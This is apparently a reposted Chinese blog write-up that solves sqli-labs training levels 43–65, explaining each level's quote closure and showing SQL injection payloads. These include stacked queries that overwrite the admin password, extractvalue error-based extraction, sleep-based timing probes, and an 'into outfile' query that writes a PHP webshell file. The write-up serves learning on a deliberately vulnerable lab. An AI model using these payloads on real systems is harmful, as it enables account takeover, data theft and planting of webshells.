sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

成功登錄

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

47、level 43

與level 42 略有不同這里需要單引號(hào)括號(hào)閉合

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

同樣密碼參數(shù)未過(guò)濾,且可以堆疊注入

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

改密碼

login_password=43');update%20users%20set%20password="level43"%20where%20username="admin";--+&login_user=admin&mysubmit=Login

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

48、level 44

源代碼與level 42相比,這里關(guān)閉了報(bào)錯(cuò)顯示。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

所以注入的時(shí)候的一個(gè)一個(gè)猜閉合方式。1’ or 1=1 #

正確閉合萬(wàn)能密碼生效,登錄成功

注入?yún)⒖糽evel 42

49、level 45

密碼參數(shù)1’) or 1=1# 測(cè)得閉合方式為單引號(hào)括號(hào)閉合

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

源代碼同level 43關(guān)差不多,這里關(guān)閉了報(bào)錯(cuò)回顯

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

注入?yún)⒄誰(shuí)evel 43

50、level 46

測(cè)試發(fā)現(xiàn)這里為數(shù)字型注入

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

輸入sort值1、2、3會(huì)有不同的排序表結(jié)果??梢赃M(jìn)行desc/asc進(jìn)行排序,應(yīng)該是order by排序語(yǔ)句。因此不能使用聯(lián)合查詢,頁(yè)面有報(bào)錯(cuò)回顯,可以使用報(bào)錯(cuò)注入。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

?sort=(extractvalue(1,concat(0x7e,(select%20database()),0x7e)))--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

寫(xiě)入webshell

?sort=1 into outfile "C:\\phpstudy\\PHPTutorial\\www\\webshell.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

這里要注意一點(diǎn),因?yàn)橐判?。所以?huì)有很多結(jié)果,因此會(huì)多次寫(xiě)入語(yǔ)句,因此webshell中會(huì)有多條寫(xiě)入的phpinfo()

此外這里還可以使用延時(shí)注入,但由于結(jié)果有很多條的原因。所以延時(shí)會(huì)比sleep()里設(shè)置的要長(zhǎng)

這里一共有18條數(shù)據(jù),大概延時(shí)18秒左右

?sort=1%20and%20sleep(1)

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

**注意:**level 46到53源碼都是類似的order by排序語(yǔ)句,其中l(wèi)evel 50到53還可以堆疊注入

51、level 47

這里測(cè)試為字符型注入,單引號(hào)閉合方式

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
源代碼除了閉合方式不通過(guò)以外與level 46一致

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

注入?yún)⒄誰(shuí)evel 46

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

52、level 48

這里關(guān)閉了報(bào)錯(cuò)回顯,通過(guò)1 and sleep() --+ 測(cè)試發(fā)現(xiàn)為數(shù)字型注入

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

源代碼除了沒(méi)有報(bào)錯(cuò)回顯,與level 46一致

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

注入?yún)⒖糽evel 46

53、level 49

這里也是關(guān)閉了報(bào)錯(cuò)回顯,根據(jù)1‘ and sleep(1) --+發(fā)現(xiàn)這里是單引號(hào)閉合方式

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

源代碼除了沒(méi)有打印sql報(bào)錯(cuò),與level 47一致

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

注入?yún)⒄誰(shuí)evel 47

54、level 50

測(cè)試發(fā)現(xiàn)存在數(shù)字型注入

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

查看源代碼發(fā)現(xiàn),與level 46不同的是這里使用了mysqli_multi_query函數(shù)執(zhí)行SQL語(yǔ)句,這個(gè)函數(shù)可以執(zhí)行多條以’;'分隔的SQL語(yǔ)句。也就造成了堆疊注入。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

這里除了可以使用同level 46一樣的報(bào)錯(cuò)注入和延時(shí)注入外還可以使用堆疊注入

例如:修改admin賬號(hào)的密碼

?sort=1;update%20users%20set%20password="level50"%20where%20username="admin";--+

成功修改

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

55、level 51

測(cè)試這里發(fā)現(xiàn)為單引號(hào)閉合

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

源代碼與level 50相比多了單引號(hào)的閉合

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

注入?yún)⒄誰(shuí)evel 50,但要注意這里有單引號(hào)閉合

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

56、level 52

這里同樣關(guān)閉了報(bào)錯(cuò),測(cè)得此處為數(shù)字型注入

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

源代碼與level 50一致,不過(guò)這里關(guān)閉了報(bào)錯(cuò)??梢允褂醚訒r(shí)注入獲得數(shù)據(jù)

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

同樣這里也可以使用能夠堆疊注入,參照l(shuí)evel 50

57、level 53

測(cè)得此處為單引號(hào)閉合的字符型注入

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

同樣使用了mysqli_multi_query函數(shù)可以執(zhí)行多個(gè)SQL語(yǔ)句,造成堆疊注入。源代碼與level 51一致,但這里關(guān)閉了報(bào)錯(cuò)

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

注入?yún)⒖糽evel 51與level 50

58、level 54

這里關(guān)閉了報(bào)錯(cuò)回顯,通過(guò)1‘ and 1=1 --+發(fā)現(xiàn)頁(yè)面正常(也可以直接1’ --+測(cè)試)。可知這里為單引號(hào)閉合的字符型注入。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

這里只有十次機(jī)會(huì)用聯(lián)合查詢更快(報(bào)錯(cuò)關(guān)閉了用不了)

列數(shù)為三剛好正常

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

查數(shù)據(jù)庫(kù)名,表名

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

查字段名

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

查字段內(nèi)容,大概率是第二個(gè)

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

成功獲取

**注意:**這幾關(guān)主要是挑戰(zhàn)規(guī)定次數(shù)拿到key,考察SQL注入能力。類型都是前面遇到過(guò)的

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

59、level 55

測(cè)試發(fā)現(xiàn)此處為括號(hào)閉合的字符型注入

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

列為3

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

數(shù)據(jù)庫(kù)名表名

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

字段名

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

查看字段內(nèi)容

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

成功獲取key

60、level 56

測(cè)試為單引號(hào)括號(hào)的字符型注入

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

注入過(guò)程與level 55一致但要注意閉合方式為單引號(hào)括號(hào)

61、level 57

單引號(hào)測(cè)試頁(yè)面正常,雙引號(hào)頁(yè)面不顯示內(nèi)容。但加上注釋符后頁(yè)面正常。此處為雙引號(hào)閉合方式

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

注入過(guò)程同level 55

62、level 58

單引號(hào)測(cè)試報(bào)錯(cuò),根據(jù)顯示符號(hào)為單引號(hào)閉合方式。

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

這只有五次機(jī)會(huì),可以使用報(bào)錯(cuò)注入

節(jié)省機(jī)會(huì)直接獲取表名x4uje1yo6x

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

獲得字段名id,sessid,secret_VLMB,tryy

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

獲得字段內(nèi)容

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

成功獲取key

63、level 59

單引號(hào)測(cè)試報(bào)錯(cuò),根據(jù)報(bào)錯(cuò)可知為數(shù)字型注入

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

只有5次機(jī)會(huì),報(bào)錯(cuò)回顯,可以使用報(bào)錯(cuò)注入

注入?yún)⒄誰(shuí)evel 58

64、level 60

雙引號(hào)測(cè)試報(bào)錯(cuò),根據(jù)報(bào)錯(cuò)顯示可知這里為雙引號(hào)括號(hào)閉合方式

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

同樣只有5次機(jī)會(huì),報(bào)錯(cuò)有回顯使用報(bào)錯(cuò)注入

注入?yún)⒄誰(shuí)evel 58

65、level 61

單引號(hào)測(cè)試報(bào)錯(cuò),有報(bào)錯(cuò)可知這里為單引號(hào)雙括號(hào)閉合方式

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

也是只有5次機(jī)會(huì),報(bào)錯(cuò)有回顯,使用報(bào)錯(cuò)注入

注入?yún)⒄誰(shuí)evel 58 ,注意閉合方式的不同

66、level 62

這里測(cè)試閉合方式不太好測(cè)試,頁(yè)面關(guān)閉了報(bào)錯(cuò)回顯。直接單引號(hào)測(cè)試頁(yè)面顯示異常,雙引號(hào)括號(hào)均不影響頁(yè)面顯示

單引號(hào)加上括號(hào)后顯示正常

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

且有布爾和延時(shí)現(xiàn)象

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全
sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

這里可以使用布爾盲注和延時(shí)注入,參照l(shuí)evel 7和level 8

67、level 63

同樣關(guān)閉了報(bào)錯(cuò)回顯。1‘ --+頁(yè)面正常顯示,為單引號(hào)閉合方式的字符型注入

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

報(bào)錯(cuò)關(guān)閉不能使用報(bào)錯(cuò)注入,union聯(lián)合查詢不顯示到頁(yè)面。只用使用延時(shí)注入和布爾盲注,除閉合方式外同level 62

68、level 64

這里報(bào)錯(cuò)也不回顯,這里采用了雙括號(hào)的閉合方式,1)) --+頁(yè)面顯示正常

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

同樣使用延時(shí)注入和布爾盲注,出閉合方式外同level 62

69、level 65

與上一關(guān)相比這里的閉合方式換成了雙引號(hào)括號(hào)閉合

sqli-labs靶場(chǎng),代碼審計(jì)與分析,sql,web安全,網(wǎng)絡(luò)安全

使用布爾盲注或者延時(shí)注入,參照l(shuí)evel 62,62到65很像,但要注意閉合方式的區(qū)別文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-729426.html

到了這里,關(guān)于sqli-labs靶場(chǎng)分析的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來(lái)自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • CTF 三大測(cè)試靶場(chǎng)搭建:DVWA、SQLi-LABS、upload-labs 靶場(chǎng)部署教程(VM + CentOS 7 + Docker)

    CTF 三大測(cè)試靶場(chǎng)搭建:DVWA、SQLi-LABS、upload-labs 靶場(chǎng)部署教程(VM + CentOS 7 + Docker)

    目錄 前言 靶場(chǎng)介紹 DVWA SQLi-LABS upload-labs 靶場(chǎng)搭建 CentOS 7 虛擬環(huán)境準(zhǔn)備 靶場(chǎng)環(huán)境部署 系統(tǒng)環(huán)境配置 Docker 環(huán)境配置 下載 Docker 配置 Docker 鏡像源 啟動(dòng) docker? 靶場(chǎng)配置 靶場(chǎng)鏡像抓取 創(chuàng)建并運(yùn)行 docker 容器 靶場(chǎng)的訪問(wèn)? 靶場(chǎng)的初始化 DVWA 靶場(chǎng)重置 SQLi-LABS 靶場(chǎng)重置 upload-labs 靶

    2024年01月24日
    瀏覽(43)
  • 注入攻擊(一)--------SQL注入(結(jié)合BUUCTF sqli-labs)

    注入攻擊(一)--------SQL注入(結(jié)合BUUCTF sqli-labs)

    為了準(zhǔn)備信息安全技術(shù)課程匯報(bào)做的筆記,想著做了也是做了,不如分享出來(lái)給想我一樣的 初學(xué)者學(xué)習(xí) 。本人之前 沒(méi)有做過(guò)CTF ,也 沒(méi)有學(xué)過(guò) SQL注入, 零基礎(chǔ) ,所以 大佬可以先行離開(kāi) 。 我的匯報(bào)內(nèi)容是 SQL注入 XPath注入 HTML注入 另一篇文章講HTML注入,例子給的比較簡(jiǎn)單,

    2024年02月16日
    瀏覽(23)
  • web靶場(chǎng)——xss-labs靶機(jī)平臺(tái)的搭建和代碼審計(jì)

    web靶場(chǎng)——xss-labs靶機(jī)平臺(tái)的搭建和代碼審計(jì)

    目錄 一、web靶場(chǎng)-xss-labs靶機(jī)平臺(tái)的搭建 1、將下載好的壓縮包放置php的WWW根目錄下 2、配置網(wǎng)站 3、啟動(dòng)MYSQL和Nginx 4、完成后我們就可以在瀏覽器輸入127.0.0.1:8088進(jìn)入靶場(chǎng) 二、xss-labs靶場(chǎng)通關(guān)攻略 第一關(guān): 1、輸入代碼進(jìn)行測(cè)試:源代碼 我們直接將參數(shù)插入標(biāo)題試一試 第二關(guān)

    2024年02月04日
    瀏覽(45)
  • [網(wǎng)絡(luò)安全]sqli-labs Less-24 解題詳析

    [網(wǎng)絡(luò)安全]sqli-labs Less-24 解題詳析

    本關(guān)考察二次排序注入 二次排序注入原理如下:當(dāng)注冊(cè)一個(gè)名為admin’#的用戶后,再對(duì)其修改密碼,SQL語(yǔ)句如下: 相當(dāng)于: 從而以 admin\\\'# 為跳板,修改了管理員密碼 操作如下: 注冊(cè)admin’# 密碼11 接著登錄后修改密碼為123 可以看到管理員密碼已被修改: 接著我們就可以使

    2024年02月07日
    瀏覽(20)
  • 網(wǎng)絡(luò)安全]sqli-labs Less-12 解題詳析

    網(wǎng)絡(luò)安全]sqli-labs Less-12 解題詳析

    原理及姿勢(shì)參考:[網(wǎng)絡(luò)安全]SQL注入原理及常見(jiàn)攻擊方法簡(jiǎn)析 本文使用到了updatexml函數(shù),原理及姿勢(shì)可參考:[網(wǎng)絡(luò)安全]sqli-labs Less-5 解題詳析 通過(guò)測(cè)試可知注入類型為雙引號(hào)+括號(hào)注入 判斷注入點(diǎn)個(gè)數(shù) 嘗試可知注入點(diǎn)個(gè)數(shù)為2 庫(kù)名為security 以上為[網(wǎng)絡(luò)安全]sqli-labs Less-12 解題

    2024年02月07日
    瀏覽(16)
  • [網(wǎng)絡(luò)安全]sqli-labs Less-26 解題詳析

    [網(wǎng)絡(luò)安全]sqli-labs Less-26 解題詳析

    本關(guān)過(guò)濾 空格 or and /* # -- / 等符號(hào) 可用過(guò)濾符如下 %09 TAB鍵(水平) %0a 新建一行 %0c 新的一頁(yè) %0d return功能 %0b TAB鍵(垂直) %a0 空格 使用聯(lián)合查詢,具體原理及解題方法可見(jiàn)專欄:Sqli-Labs靶場(chǎng)專欄 查庫(kù)名: 回顯如下: 查表名: 回顯如下: 查列名: 回顯如下: 查數(shù)據(jù):

    2024年02月08日
    瀏覽(19)
  • Ctfshow web入門(mén) sqli-labs特性篇 web517-web568 詳細(xì)題解 全

    Ctfshow web入門(mén) sqli-labs特性篇 web517-web568 詳細(xì)題解 全

    這里插一句。 limit 100,1 是從第100條數(shù)據(jù)開(kāi)始,讀取1條數(shù)據(jù)。 limit 6 是讀取前6條數(shù)據(jù)。 報(bào)錯(cuò)注入 繞過(guò)字符串返回長(zhǎng)度限制。 盲注 布爾和時(shí)間都可以的。 閉合換成了 \\\" 。其他和上題一樣。 ctfshow–flagpa–flag3a3– 測(cè)一下回顯位 布爾盲注還是能用。不過(guò)這次我們換個(gè)方法。 它

    2024年02月15日
    瀏覽(25)
  • [網(wǎng)絡(luò)安全]sqli-labs Less-25a 解題詳析

    [網(wǎng)絡(luò)安全]sqli-labs Less-25a 解題詳析

    不同于25關(guān)的是sql語(yǔ)句中對(duì)于id沒(méi)有單引號(hào)包含,同時(shí)沒(méi)有輸出錯(cuò)誤項(xiàng),故報(bào)錯(cuò)注入不能用。 有兩種方式:延時(shí)注入和聯(lián)合注入;本文采用聯(lián)合注入。 具體過(guò)程不再詳述,本文給出最終POC: 具體過(guò)程本文不再贅述,可移至本專欄相關(guān)文章:SQLiLabs靶場(chǎng)專欄

    2024年02月06日
    瀏覽(18)
  • SQL注入sqli_labs靶場(chǎng)第三題

    SQL注入sqli_labs靶場(chǎng)第三題

    ?id=1\\\'and 1=1 and \\\'1\\\'=\\\'1和?id=1\\\'and 1=1 and \\\'1\\\'=\\\'1進(jìn)行測(cè)試如果1=1頁(yè)面顯示正常和原頁(yè)面一樣,并且1=2頁(yè)面報(bào)錯(cuò)或者頁(yè)面部分?jǐn)?shù)據(jù)顯示不正常,那么可以確定此處為字符型注入。 根據(jù)報(bào)錯(cuò)信息判斷為單引號(hào)帶括號(hào)注入 聯(lián)合查詢: 猜解列名 ?id=1\\\') order by 3--+ 判斷回顯點(diǎn) ?id=-1\\\') union select

    2024年04月11日
    瀏覽(19)
  • sqli-labs通關(guān)詳解

    sqli-labs通關(guān)詳解

    找注入點(diǎn),當(dāng)輸入id=1 and 1=2–+時(shí)沒(méi)有變化,嘗試單引號(hào)閉合找到注入類型 字符型注入,單引號(hào)閉合 判斷字段數(shù) 找回顯點(diǎn) 發(fā)現(xiàn)有兩個(gè)回顯點(diǎn) 開(kāi)始信息收集(注意union前后格式要相同) 開(kāi)始逐級(jí)爆破 爆破數(shù)據(jù)庫(kù) 看源碼或者嘗試,沒(méi)有閉合方式,說(shuō)明為數(shù)字型注入 嘗試找到注入

    2023年04月15日
    瀏覽(23)

覺(jué)得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包